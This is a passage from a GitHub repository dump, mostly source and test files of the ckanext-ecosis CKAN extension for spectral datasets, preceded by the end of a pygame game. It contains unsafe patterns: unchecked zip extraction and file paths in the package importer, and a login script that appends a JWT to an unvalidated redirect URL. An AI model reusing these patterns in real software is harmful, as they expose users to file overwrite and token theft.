True\r\n\telse:\r\n\t\treturn False\r\n\r\nrunning = True\r\nwhile running:\r\n\tscreen.fill((0,0,0))\r\n\r\n\t#background image\r\n\r\n\tscreen.blit(background, (0,0))\r\n\r\n\t# the following line returns all the events of pygame window\r\n\r\n\tfor event in pygame.event.get():\r\n\t\tif event.type == pygame.QUIT:\r\n\t\t\trunning = False\r\n\r\n\t# if keystroke is pressed check \r\n\t# whether its right or left keystroke\r\n\r\n\t\tif event.type == pygame.KEYDOWN:\r\n\t\t\tif event.key == pygame.K_LEFT:\r\n\t\t\t\tplayerX_change = -2\r\n\r\n\t\t\tif event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayerX_change = 2\r\n\r\n\t\t\tif event.key == pygame.K_SPACE:\r\n\t\t\t\tif bullet_state is \"ready\":\r\n\t\t\t\t\t# Get X coordinate of the spaceship\r\n\t\t\t\t\tbulletX = playerX\r\n\t\t\t\t\tfire_bullet(bulletX,bulletY)\r\n\t\t\t\r\n\t\tif event.type == pygame.KEYUP:\r\n\t\t\tif event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayerX_change = 0\r\n\r\n\r\n\r\n\t# RGB - Red , Green , Blue\r\n\r\n\t# we called the player method in while loop because we want\r\n\t# player to be shown always on the screen.\r\n\tplayerX += playerX_change\r\n\tenemyX += enemyX_change\r\n\t#following lines are added to add boundaries to the game.\r\n\r\n\t# checking the boundaries of spaceship\r\n\r\n\tif playerX < 0:\r\n\t\tplayerX = 0\r\n\telif playerX >= 736:\r\n\t\tplayerX = 736\r\n\r\n\t#checking the boundaries of enemy movement\r\n\r\n\tif enemyX < 0:\r\n\t\tenemyX_change = 0.6\r\n\t\tenemyY += enemyY_change\r\n\telif enemyX >= 736:\r\n\t\tenemyX_change = -0.6\r\n\t\tenemyY += enemyY_change\r\n\r\n\t# fire bullet\r\n\tif bulletY <= 0:\r\n\t\tbulletY = 480\r\n\t\tbullet_state = \"ready\"\r\n\r\n\tif bullet_state is \"fire\":\r\n\r\n\t\tfire_bullet(bulletX,bulletY)\r\n\t\tbulletY -= bulletY_change\r\n\r\n\t#collision\r\n\tcollision = isCollision(enemyX,enemyY,bulletX , bulletY)\r\n\tif collision:\r\n\t\tbulletY = 480\r\n\t\tbullet_state = \"ready\"\r\n\t\tscore += 1\r\n\t\tprint(score)\r\n\r\n\tplayer(playerX,playerY)\r\n\tenemy(enemyX , enemyY)\r\n\tpygame.display.update()" } ]
2
CSTARS/ckanext-ecosis
https://github.com/CSTARS/ckanext-ecosis
06726b7a082ef72bdcda2d0e37898c147c67364d
8bf5a7c42a880bd94bb765cc1f4d71390f0f5bcc
e489270e2804c4bec943afc39bc3a501108a175e
refs/heads/master
2023-08-30T21:05:17.018474
2022-07-25T02:00:56
2022-07-25T02:00:56
13,754,475
0
0
null
2013-10-21T20:39:17
2022-08-26T21:52:39
2023-03-01T05:45:45
HTML
[ { "alpha_fraction": 0.6215543150901794, "alphanum_fraction": 0.6232149004936218, "avg_line_length": 28.3756103515625, "blob_id": "de1d2c81aecb62ba51f6284b85dd62b436c8d38f", "content_id": "a582a08b5939f30fef9b9d55d819d875a37b7406", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6022, "license_type": "no_license", "max_line_length": 100, "num_lines": 205, "path": "/ckanext/ecosis/lib/data_package_importer.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from urllib.parse import urlparse\nimport urllib.request\nimport re, shutil, shortuuid, zipfile, json\nfrom werkzeug.datastructures import FileStorage\nfrom ckan.common import config\nimport ckan.logic as logic\nfrom ckanext.ecosis.controller.resource import _process as resource_process\nfrom os import path, makedirs, walk\nfrom .aws import s3\n\n'''\n package.json file is required. Should contain:\n\n {\n title: \"\",\n resources : {\n \"[filename]\" : {\n \"layout\" : \"column|row\",\n \"metadata\" : Boolean,\n \"separator\" : \"empty (comma),tab or character\"\n }\n }\n }\n'''\n\nclass DataPackageImporter():\n \"\"\"\n Import a dataset from a S3 bucket or HTTP endpoint\n \"\"\"\n\n root_dir = ''\n uri = ''\n uri_parts = None\n id = ''\n zipfile = ''\n zipfile_name = 'package.zip'\n package_dir = 'package'\n package = {}\n\n def __init__(self, uri):\n self.uri = uri\n self.id = shortuuid.ShortUUID().random(length=8)\n # todo, make this better\n self.root_dir = path.join(config.get('ecosis.package_import.root'), self.id)\n self.package_dir = path.join(self.root_dir, self.package_dir)\n\n def run(self, context):\n self.context = context\n\n try:\n self.download()\n self.unzip()\n self.validate()\n self.create()\n except Exception as e:\n self.cleanup()\n raise e\n\n self.cleanup()\n return self.newPkg\n\n def download(self):\n \"\"\"\n Download the uri, currently supports S3 or HTTP uri\n \"\"\"\n makedirs(self.root_dir)\n\n self.uri_parts = urlparse(self.uri)\n self.zipfile = path.join(self.root_dir, self.zipfile_name)\n\n if self.uri_parts.scheme == 's3':\n self.downloadS3()\n elif re.match(r'^http(s)?', self.uri_parts.scheme ):\n self.downloadHttp()\n\n def downloadS3(self):\n \"\"\"\n Download file from S3 bucket\n \"\"\"\n obj_key = re.sub(r'^/', '', self.uri_parts.path)\n print(\"Attempting S3 download: %s %s %s\" % (self.uri_parts.netloc, obj_key, self.zipfile))\n s3.download_file(self.uri_parts.netloc, obj_key, self.zipfile)\n\n def downloadHttp(self):\n \"\"\"\n Download file from http endpoint\n \"\"\"\n urllib.request.urlretrieve(self.uri, self.zipfile)\n\n def unzip(self):\n \"\"\"\n unzip package contents\n \"\"\"\n makedirs(self.package_dir)\n with zipfile.ZipFile(self.zipfile, 'r') as zip_ref:\n zip_ref.extractall(self.package_dir)\n\n # check one level deep for package.json folder\n if not self.package_file_exits('package.json', throw_error=False):\n for root, dirs, files in walk(self.package_dir):\n for dir in dirs:\n new_pkg_dir = path.join(self.package_dir, dir)\n if path.exists(path.join(new_pkg_dir, 'package.json')):\n self.package_dir = new_pkg_dir\n break\n break\n\n\n\n def validate(self):\n \"\"\"\n Validate a package\n \"\"\"\n self.package_file_exits('package.json')\n f = open(path.join(self.package_dir, 'package.json'))\n self.package = json.load(f)\n\n if self.package.get(\"resources\") is not None:\n self.resources = self.package.get(\"resources\")\n del self.package[\"resources\"]\n\n if self.package.get('title') is None:\n raise Exception('No package title provided')\n # set name based on title\n self.package['name'] = self.package.get('title').strip().lower().replace(' ', '-')\n\n if self.package.get('owner_org') is None:\n raise Exception('No package owner_org provided')\n\n org = logic.get_action('organization_show')(self.context, {'id': self.package.get('owner_org')})\n if org is None:\n raise Exception('No organization provided')\n\n # set a default license id if none provided\n if not self.package.get('license_id'):\n self.package['license_id'] = 'cc-by'\n\n # if extras provided as dict, convert to array\n if self.package.get('extras') is not None:\n extras = self.package.get('extras')\n if type(extras) is dict:\n arr = []\n for key, value in extras.items():\n arr.append({\n 'key' : key,\n 'value' : value\n })\n self.package['extras'] = arr\n\n if self.package.get('tags') is not None:\n tags = self.package.get('tags')\n for i in range(len(tags)):\n if type(tags[i]) is str:\n tags[i] = {'display_name': tags[i], 'name': tags[i]}\n \n\n def create(self):\n \"\"\"\n Create package\n \"\"\"\n # For debugging\n # try:\n # logic.get_action('package_delete')(self.context, {'id': self.package.get('name')})\n # except Exception as err:\n # print(err)\n # pass\n\n # TODO: does this raise error on badness?\n self.newPkg = logic.get_action('package_create')(self.context, self.package)\n\n # TODO: list files\n # TODO: add all non-package.json files as resources\n # TODO: set all self.resources config using EcoSIS API\n # Reminder: any file not defined in self.resource should have `ignore` flag set\n\n if self.resources is not None:\n for filename, properties in self.resources.items():\n fp = open(path.join(self.package_dir, filename), mode='rb')\n upload = FileStorage(fp)\n resource = {\n 'package_id' : self.newPkg.get('id'),\n 'name' : filename,\n 'mimetype' : properties.get('mimetype'),\n 'upload': upload\n }\n resource_create = logic.get_action('resource_create')\n resource = resource_create(self.context, resource)\n resource_process(resource['package_id'], None, resource['id'], None, properties)\n\n def package_file_exits(self, file, throw_error=True):\n if not path.exists(path.join(self.package_dir, file)):\n if throw_error:\n raise Exception('Missing package file: %s' % file)\n else:\n return False\n return True\n\n def cleanup(self, remove_pkg=False):\n \"\"\"\n Remove all files and package is flag is set and package has been created\n \"\"\"\n if remove_pkg == True and self.package.get('id') is not None:\n logic.get_action('package_delete')(self.context, {'id': self.package.get('id')})\n\n shutil.rmtree(self.root_dir)\n" }, { "alpha_fraction": 0.559347927570343, "alphanum_fraction": 0.559347927570343, "avg_line_length": 26.26388931274414, "blob_id": "1ee6347640644993b41cef827acee78d22769fc4", "content_id": "e14572300680281af90890c7215ebb0b0b07b448", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1963, "license_type": "no_license", "max_line_length": 89, "num_lines": 72, "path": "/ckanext/ecosis/datastore/vocab/controlled.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import re\nfrom . import utils\n\nschema = None\n\n# inject global dependencies\ndef init(schemaDef):\n global schema\n\n schema = schemaDef\n\ndef getEcoSISName(key):\n flat = utils.flatten(key)\n\n if schema.get(flat) != None:\n return schema.get(flat).get('name')\n\n # now try an clean the key\n return re.sub(r'(\\.|\\$)', '', key)\n\n# enforce controlled vocab on spectra attributes\ndef enforce(spectra):\n set = {}\n remove = []\n\n # loop through all attributes in spactra\n for key, value in spectra.items():\n # TODO: why?\n value = spectra[key]\n\n # ignore datapoints attribute or badness\n if key == 'datapoints' or value == '' or value == None:\n continue\n\n # create flat (lower case, no spaces) key, see if it's part of the EcoSIS schema\n flat = utils.flatten(key)\n if schema.get(flat) == None:\n continue\n\n item = schema.get(flat)\n\n # see if the schema is of type controlled and has a associated vocabulary\n if item['input'] != 'controlled' or item.get('vocabulary') == 'None':\n continue\n\n lower = value.lower().strip()\n found = False\n\n # check if the provided value is allowed\n for name in item.get('vocabulary'):\n if lower == name.lower():\n spectra[key] = name\n found = True\n break\n\n # if not allowed\n if not found:\n # if 'other' is allowed, append to other(s) array\n if item.get('allowOther') == True:\n other = \"%s Other\" % item.get(\"name\")\n set[other] = value\n spectra[key] = 'Other'\n # otherwise remove\n else:\n remove.append(key)\n\n # the loop above is keeping track of additional items to add and remove, do that here\n for key, value in set.items():\n spectra[key] = value\n\n for key in remove:\n del spectra[key]\n" }, { "alpha_fraction": 0.7614678740501404, "alphanum_fraction": 0.7614678740501404, "avg_line_length": 23.33333396911621, "blob_id": "fb895307c9f552571d677e2b918737b707601aa1", "content_id": "0393c634687393da5f7c12ffd605a737a4804d79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 218, "license_type": "no_license", "max_line_length": 60, "num_lines": 9, "path": "/Dockerfile", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "ARG CKAN_BASE\nFROM ${CKAN_BASE}\n\nRUN mkdir -p /ckan/src/ckanext-ecosis\nWORKDIR /ckan/src\nCOPY ./ ckanext-ecosis/\n\nRUN pip install -e /ckan/src/ckanext-ecosis\nRUN pip install -r /ckan/src/ckanext-ecosis/requirements.txt" }, { "alpha_fraction": 0.5020530223846436, "alphanum_fraction": 0.5117580890655518, "avg_line_length": 23.35454559326172, "blob_id": "06952ecb102aaeb4dd0eed3fdb48b79b626fe3f6", "content_id": "dc85edbd082f147ade12d3e79ed7de42496d858f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2679, "license_type": "no_license", "max_line_length": 100, "num_lines": 110, "path": "/spectra-importer/utils/metadata/schema/create.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var csv = require(\"fast-csv\");\nvar fs = require(\"fs\");\n\nvar file = __dirname+'/data/schema_v1_8.csv';\n\nconsole.log('Reading: '+file);\n\nvar column = {\n category : 0,\n l1 : 1,\n l2 : 2,\n inputType : 3,\n allowOther : 4,\n forSchema : 5,\n units : 6,\n comment : 7,\n controlledVocab : 8,\n description : 9\n};\n\n\nload(function(data){\n create(data);\n});\n\n\nfunction load(callback) {\n var data = [];\n csv\n .fromPath(file)\n .on('data', function(row){\n data.push(row);\n })\n .on('end', function(){\n callback(data);\n });\n}\n\nfunction create(data) {\n var schema = {};\n\n readCategories(1, data, schema, function(){\n write(schema);\n });\n}\n\nfunction readCategories(row, data, schema, callback) {\n var catName = data[row][column.category];\n schema[catName] = [];\n\n row++;\n while( data[row][column.category] == '' ) {\n var level = 1;\n var name = data[row][column.l1];\n\n // check for level 2 data\n if( name == '' ) {\n level = 2;\n name = data[row][column.l2];\n }\n\n var input = data[row][column.inputType];\n var units = data[row][column.units];\n var forSchema = data[row][column.forSchema];\n\n var vocabulary = null;\n if( data[row][column.controlledVocab].indexOf(',') > -1 ) {\n vocabulary = data[row][column.controlledVocab].split(',');\n for( var i = 0; i < vocabulary.length; i++ ) {\n vocabulary[i] = prepVocab(vocabulary[i])\n }\n vocabulary.sort();\n }\n\n if( name != '' ) {\n schema[catName].push({\n name : name,\n level : level,\n input : input,\n units : units,\n forSchema: forSchema,\n vocabulary : vocabulary,\n description : data[row][column.description] || '',\n allowOther : data[row][column.allowOther] == 'TRUE' ? true : false\n });\n }\n\n row++;\n if( row == data.length ) return callback();\n }\n\n if( row == data.length ) return callback();\n readCategories(row, data, schema, callback);\n}\n\nfunction write(schema) {\n if( schema[\"\"] ) delete schema[\"\"];\n\n fs.writeFileSync(__dirname+'/../schema.json', JSON.stringify(schema, '', ' '));\n console.log('done generating schema.');\n}\n\nfunction prepVocab(txt) {\n return txt.trim();\n //var parts = txt.trim().split(' ');\n //for( var i = 0; i < parts.length; i++ ) {\n // if( parts[i].length > 0 ) parts[i] = parts[i].charAt(0).toUpperCase() + parts[i].slice(1);\n //}\n //return parts.join(' ');\n}\n" }, { "alpha_fraction": 0.5495775938034058, "alphanum_fraction": 0.5638061165809631, "avg_line_length": 23.44565200805664, "blob_id": "eeb027f442403982eda0fb04762dee44ebd7e011", "content_id": "59501fba6577812d61f9717209223d432ce6040b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2249, "license_type": "no_license", "max_line_length": 71, "num_lines": 92, "path": "/spectra-importer/tests/mocha/createPackage/dataset2/search.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var assert = require('assert');\nvar request = require('superagent');\n\ndescribe('Search - Dataset 2', function() {\n var config, data, pkg;\n\n before(function(){\n config = require('/etc/ecosis/testingConf');\n data = require('./data/datasetInfo');\n });\n\n it('just wait a sec and let Mongo do it\\'s thing', function(next){\n this.timeout(15000);\n setTimeout(function(){\n assert(true);\n next();\n }, 14000);\n });\n\n it('should find dataset 2 in search', function(next){\n var query = {\n text : '',\n filters : JSON.stringify([{'ecosis.package_title': data.title}]),\n start : 0,\n stop : 6\n };\n\n request\n .get(config.search+'/mqe/query')\n .query(query)\n .end(function(err, resp){\n assert.equal(err, null);\n resp = resp.body;\n\n assert.equal(resp.items.length, 1);\n pkg = resp.items[0];\n\n assert.equal(pkg.ecosis.package_title, data.title);\n next();\n });\n });\n\n it('should get dataset 2 via api', function(next){\n var query = {\n package_id : pkg._id\n };\n\n request\n .get(config.search+'/mqe/get')\n .query(query)\n .end(function(err, resp){\n assert.equal(err, null);\n resp = resp.body;\n\n assert.deepEqual(resp.Keywords, pkg.Keywords);\n assert.equal(resp.ecosis.spectra_count, 20);\n assert.equal(resp.ecosis.title, pkg.ecosis.title);\n\n pkg = resp;\n\n next();\n });\n });\n\n it('should get spectra via api', function(next){\n var query = {\n package_id : pkg.ecosis.package_id,\n start : 0,\n stop : 1\n };\n\n request\n .get(config.search+'/spectra/query')\n .query(query)\n .end(function(err, resp){\n assert.equal(err, null);\n assert.equal(resp.body.items.length, 1);\n assert.equal(resp.body.start, 0);\n assert.equal(resp.body.stop, 1);\n assert.equal(resp.body.total, 20);\n resp = resp.body.items[0];\n\n assert.equal(resp['Plant Number'], 'P1');\n assert.equal(resp['Plot Name'], 'Walnut Street Greenhouse');\n assert.equal(resp['Common Name'], 'Soybean'); // USDA Join\n assert.equal(Object.keys(resp.datapoints).length, 2151);\n\n next();\n });\n });\n\n});\n" }, { "alpha_fraction": 0.618043839931488, "alphanum_fraction": 0.6197301745414734, "avg_line_length": 28.649999618530273, "blob_id": "381456f207bcc6446eb55318bd284fab901ef40f", "content_id": "042a01c98d996799f7a583518098bd69188a29ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1186, "license_type": "no_license", "max_line_length": 78, "num_lines": 40, "path": "/ckanext/ecosis/lib/auth.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from ckan.logic import check_access\nfrom ckan.common import c\nimport ckan.model as model\n\n'''\nHelper methods for verifying user login state and access\n\nSince we override a lot of endpoints as well as add our own in\nEcoSIS, these are used a lot.\n'''\n\n# Does the requesting user have access to the package\ndef hasAccess(package_id):\n context = {'model': model, 'session': model.Session,\n 'api_version': 3, 'for_edit': True,\n 'user': c.user or c.author, 'auth_user_obj': c.userobj}\n data_dict = {\n \"id\" : package_id\n }\n\n check_access('package_update', context, data_dict)\n\n# Does the requesting user have access to the organization\ndef hasOrgAccess(package_id):\n context = {'model': model, 'session': model.Session,\n 'api_version': 3, 'for_edit': True,\n 'user': c.user or c.author, 'auth_user_obj': c.userobj}\n data_dict = {\n \"id\" : package_id\n }\n\n check_access('organization_update', context, data_dict)\n\n# is the user a site admin\ndef isAdmin():\n if c.userobj == None:\n return False\n if not c.userobj.sysadmin:\n return False\n return True\n" }, { "alpha_fraction": 0.6565981507301331, "alphanum_fraction": 0.6580836772918701, "avg_line_length": 27.443662643432617, "blob_id": "91739a2679015cfae2a497cea6e58265548c11da", "content_id": "057edafb69e86f8f6b68bf537b57f6d08dc7cf03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4039, "license_type": "no_license", "max_line_length": 70, "num_lines": 142, "path": "/spectra-importer/tests/mocha/createPackage/dataset2/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var assert = require('assert');\n\ndescribe('Create Package - Dataset 2 (excel test)', function() {\n var data, SDK, pkg;\n\n before(function(){\n data = require('./data/datasetInfo');\n SDK = require('../../newSDK')();\n pkg = SDK.newPackage();\n });\n\n // test for invalid titles as well\n it('can set valid title', function(next){\n pkg.setTitle(data.title, function(err, resp){\n assert.equal(err, null);\n assert.equal(data.title, pkg.getTitle());\n assert.equal(data.name, pkg.getName());\n next();\n });\n });\n\n // IMPORTANT!\n it('can set testing flag', function(){\n pkg._setTesting();\n assert(pkg.getExtra('_testing_'), true);\n });\n\n it('can set valid description', function(){\n pkg.setDescription(data.description);\n assert.equal(data.description, pkg.getDescription());\n });\n\n it('can clean and set keywords', function(){\n pkg.setKeywords(data.keywords);\n assert.deepEqual(pkg.getKeywords(), data.cleanKeywords);\n\n pkg.setKeywords([]);\n assert.deepEqual(pkg.getKeywords(), []);\n\n pkg.setKeywords(data.cleanKeywords);\n assert.deepEqual(pkg.getKeywords(), data.cleanKeywords);\n });\n\n it('can add keywords', function(){\n pkg.addKeyword('testing');\n assert.equal(pkg.hasKeyword('testing'), true);\n assert.equal(pkg.hasKeyword('zzzzzzz'), false);\n });\n\n it('can set license', function(){\n pkg.setLicense(data.license.id, data.license.title);\n assert.equal(pkg.getLicenseId(), data.license.id);\n assert.equal(pkg.getLicenseTitle(), data.license.title);\n });\n\n it('can set organization via name', function(next){\n pkg.setOrganization(data.organization, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.success, true);\n assert.notEqual(pkg.getOrganization(), '');\n next();\n });\n });\n\n it('can set organization via id', function(next){\n var id = pkg.getOrganization();\n\n // verify we can clear an org\n pkg.setOrganization('');\n assert.equal(pkg.getOrganization(), '');\n\n pkg.setOrganization(id, function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(resp.success, true);\n assert.equal(pkg.getOrganization(), id);\n next();\n });\n });\n\n it('can set version', function(){\n pkg.setVersion(data.version);\n assert.equal(pkg.getVersion(), data.version);\n });\n\n it('can set website', function(){\n pkg.setWebsite(data.website);\n assert.equal(pkg.getWebsite(), data.website);\n });\n\n it('can set the Theme', function(){\n pkg.setTheme(data.Theme);\n assert.deepEqual(pkg.getTheme(), data.cleanTheme);\n });\n\n it('can set the Ecosystem Type', function(){\n pkg.setEcosystemType(data.EcosystemType);\n assert.deepEqual(pkg.getEcosystemType(), data.cleanEcosystemType);\n });\n\n it('can set the Sample Platform', function(){\n pkg.setSamplePlatform(data.SamplePlatform);\n assert.deepEqual(pkg.getSamplePlatform(), data.SamplePlatform);\n });\n\n it('can set the Author', function(){\n pkg.setAuthor(data.Author);\n assert.equal(pkg.getAuthor(), data.Author);\n assert.equal(pkg.data.author, data.Author);\n });\n\n it('can set the Author Email', function(){\n pkg.setAuthorEmail(data.AuthorEmail);\n assert.equal(pkg.getAuthorEmail(), data.AuthorEmail);\n assert.equal(pkg.data.author_email, data.AuthorEmail);\n });\n\n it('can set the Maintainer', function(){\n pkg.setMaintainer(data.Maintainer);\n assert.equal(pkg.getMaintainer(), data.Maintainer);\n assert.equal(pkg.data.maintainer, data.Maintainer);\n });\n\n it('can set the Maintainer Email', function(){\n pkg.setMaintainerEmail(data.MaintainerEmail);\n assert.equal(pkg.getMaintainerEmail(), data.MaintainerEmail);\n assert.equal(pkg.data.maintainer_email, data.MaintainerEmail);\n });\n\n it('can create dataset', function(next){\n this.timeout(10000);\n\n pkg.create(function(resp){\n assert.equal(resp.error, undefined);\n assert.equal(typeof resp.id, 'string');\n next();\n });\n });\n\n});\n\nrequire('./process');\nrequire('./search');\n" }, { "alpha_fraction": 0.4823247492313385, "alphanum_fraction": 0.48412221670150757, "avg_line_length": 29.88888931274414, "blob_id": "f81265eed66de404c3d590255694f11f3c472e75", "content_id": "05ea7f509b60965a5f5ddcde9ea3d7a4ddbc1445", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1669, "license_type": "no_license", "max_line_length": 68, "num_lines": 54, "path": "/ckanext/ecosis/public/fanstatic/remotelogin.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "function getParameterByName(name, url) {\n if (!url) url = window.location.href;\n name = name.replace(/[\\[\\]]/g, \"\\\\$&\");\n var regex = new RegExp(\"[?&]\" + name + \"(=([^&#]*)|&|#|$)\"),\n results = regex.exec(url);\n if (!results) return null;\n if (!results[2]) return '';\n return decodeURIComponent(results[2].replace(/\\+/g, \" \"));\n}\n\n(function() {\n\n var controllerUrl = '/ecosis/user/jwtLogin';\n var username = $('#field-login');\n var password = $('#field-password');\n var loginBtn = $('button[type=\"submit\"]').removeAttr('type');\n $('form[action]').removeAttr('action').removeAttr('method');\n\n\n var returnTo = getParameterByName('returnTo');\n $('.remote-site-label').html(getParameterByName('label'));\n window.document.title = getParameterByName('label')+' Login';\n\n loginBtn.on('click', function(e) {\n e.preventDefault();\n e.stopPropagation();\n\n $.post(\n controllerUrl,\n {\n username : username.val(),\n password : password.val()\n },\n function(data) {\n if( data.loggedIn ) {\n if( returnTo.indexOf('?') > -1 ) {\n window.location = returnTo+'&jwt='+data.jwt;\n } else {\n window.location = returnTo+'?jwt='+data.jwt;\n }\n } else {\n alert('Invalid username or password');\n }\n }\n );\n });\n\n\n// $.get(controllerUrl, function(data) {\n// if( data.loggedIn ) {\n// window.location = returnTo+'?jwt='+data.jwt;\n// }\n// });\n})();\n\n" }, { "alpha_fraction": 0.6642335653305054, "alphanum_fraction": 0.6642335653305054, "avg_line_length": 26.600000381469727, "blob_id": "03cf5f199893e558b7daeaebaba64d5ede3e1fee", "content_id": "03be64662887a6c667ace0ac1ca16fbcc23ba39b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 137, "license_type": "no_license", "max_line_length": 64, "num_lines": 5, "path": "/ckanext/ecosis/datastore/vocab/utils.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import re\n\n# a 'flat' name is when the name is in lower case with no spaces\ndef flatten(name):\n return re.sub(r'\\s', '', name).lower()" }, { "alpha_fraction": 0.7345971465110779, "alphanum_fraction": 0.7345971465110779, "avg_line_length": 25.375, "blob_id": "c020cb49c94802636d60ec16f2b135dcf30c6f4c", "content_id": "9913158e3fc215d8cec2e22c9009abe573e5bb0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 211, "license_type": "no_license", "max_line_length": 41, "num_lines": 8, "path": "/ckanext/ecosis/datastore/vocab/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from . import controlled, usda, top, gcmd\n\n# inject global dependencies\ndef init(schema, collections):\n controlled.init(schema)\n usda.init(collections)\n top.init(collections)\n gcmd.init(collections)\n" }, { "alpha_fraction": 0.5745863914489746, "alphanum_fraction": 0.5829278230667114, "avg_line_length": 33.421051025390625, "blob_id": "ad4f17c3ae5c713307a5c842bd37505483b5a1d6", "content_id": "bd0694d1603b14d96f06239c7a5c252a82c84928", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7193, "license_type": "no_license", "max_line_length": 127, "num_lines": 209, "path": "/ckanext/ecosis/datastore/push/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from multiprocessing import Process, Queue\nfrom ckan.lib.email_notifications import send_notification\nfrom ckan.common import config\nimport ckan.logic as logic\nfrom ckan.lib.base import c, model\nimport traceback\n\nfrom ckanext.ecosis.datastore import mapreduce\nfrom ckanext.ecosis.datastore import query\nfrom ckanext.ecosis.datastore import delete as deleteUtils\nfrom ckanext.ecosis.datastore.mapreduce.lookup import update as updateLookup\nfrom ckanext.ecosis.lib.utils import getPackageExtra, setPackageExtra\n\nspectraCollection = None\n\n'''\nThis module handles 'pushing' or 'publishing' a dataset from the dataset administration (CKAN)\nto search (ecosis.org)\n'''\n\n# inject global dependencies\ndef init(collections):\n global spectraCollection\n\n spectraCollection = collections.get('search_spectra')\n\n# this will run the main worker on a separate thread so we can send a HTTP response, then email\n# user when push is complete\nclass Push:\n\n def run(self, ckanPackage, emailOnComplete=False, emailAddress=\"\", username=\"\"):\n # first clean out data\n deleteUtils.cleanFromSearch(ckanPackage.get('id'))\n\n # we don't want to push private datasets to public search\n if ckanPackage.get('private') == True:\n raise Exception('This dataset is private')\n\n # set the citation field\n setCitation(ckanPackage)\n context = {'model': model, 'user': c.user}\n ckanPackage = logic.get_action('package_update')(context, ckanPackage)\n\n # start our new thread\n q = Queue()\n p = Process(target=sub_run, args=(q, ckanPackage, emailOnComplete, emailAddress, username))\n p.start()\n\n return {'success': True, 'emailing': emailOnComplete, 'email': emailAddress}\n\n\n# run the new push\ndef sub_run(q, ckanPackage, emailOnComplete, emailAddress, username):\n try:\n # calculate bounding box from spectra (lat/lng was provided)\n total = query.total(ckanPackage.get('id')).get('total')\n bbox = {\n \"maxlat\" : -9999,\n \"minlat\" : 9999,\n \"maxlng\" : -9999,\n \"minlng\" : 9999,\n \"use\" : False\n }\n\n # grab each spectra and insert into public EcoSIS search\n for i in range(0, total):\n spectra = query.get(ckanPackage.get('id'), index=i, must_be_valid=True, clean_wavelengths=False)\n if not 'datapoints' in spectra:\n continue\n if len(spectra['datapoints']) == 0:\n continue\n\n # TODO: make sure species attributes are lower case\n\n # update search\n spectraCollection.insert(spectra)\n # update the bounding box if the spectra has a lat/lng\n updateBbox(spectra, bbox)\n\n # see if we found a bounding box from the spectra\n if bbox[\"maxlat\"] != -9999 and bbox[\"maxlng\"] != -9999 and bbox[\"minlng\"] != 9999 and bbox[\"minlat\"] != -9999:\n bbox[\"use\"] = True\n\n # max sure all of the spectra points were not in the same position\n # this cause the geojson index mongo to break\n if bbox[\"maxlat\"] == bbox[\"minlat\"]:\n bbox[\"maxlat\"] += 0.00001\n if bbox[\"maxlng\"] == bbox[\"minlng\"]:\n bbox[\"maxlng\"] += 0.00001\n\n # mapreduce the dataset package data\n mapreduce.mapreducePackage(ckanPackage, bbox)\n\n # alert (email user) or quit\n if not emailOnComplete:\n updateLookup()\n return\n\n try:\n send_notification(\n {\n \"email\" : emailAddress,\n \"display_name\" : username\n },\n {\n \"subject\" : \"EcoSIS Push Successful\",\n \"body\" : (\"Your dataset '%s' has been pushed to EcoSIS Search. \"\n \"You can view your dataset here: %s#result/%s\"\n \"\\n\\n-The EcoSIS Team\") %\n (ckanPackage.get('title'), config.get('ecosis.search_url'), ckanPackage.get(\"id\"))\n }\n )\n except Exception as e:\n print(\"Failed to send email: %s\" % emailAddress)\n\n updateLookup()\n\n except Exception as e:\n try:\n print('ERROR pushing to search: %s' % ckanPackage.get('id'))\n\n # if badness, remove from search\n deleteUtils.cleanFromSearch(ckanPackage.get('id'))\n\n print(e)\n traceback.print_exc()\n\n if not emailOnComplete:\n return\n\n send_notification(\n {\n \"email\" : emailAddress,\n \"display_name\" : username\n },\n {\n \"subject\" : \"EcoSIS Push Failed\",\n \"body\" : (\"Your recent push to search for '%s' has failed. \"\n \"You can try again or contact [email protected]. \"\n \"We apologize for the inconvenience\\n\\n-The EcoSIS Team\") % (ckanPackage[\"title\"])\n }\n )\n except Exception as e:\n print(e)\n traceback.print_exc()\n\n# update bounding box built from spectra given either a lat/lng coordinate or geojson\ndef updateBbox(spectra, bbox):\n if 'ecosis' not in spectra:\n return\n if 'geojson' not in spectra['ecosis']:\n return\n\n geojson = spectra['ecosis']['geojson']\n\n if geojson.get('type') != 'Point':\n return\n if 'coordinates' not in geojson:\n return\n if len(geojson['coordinates']) < 2:\n return\n\n if bbox['maxlat'] < geojson['coordinates'][1]:\n bbox['maxlat'] = 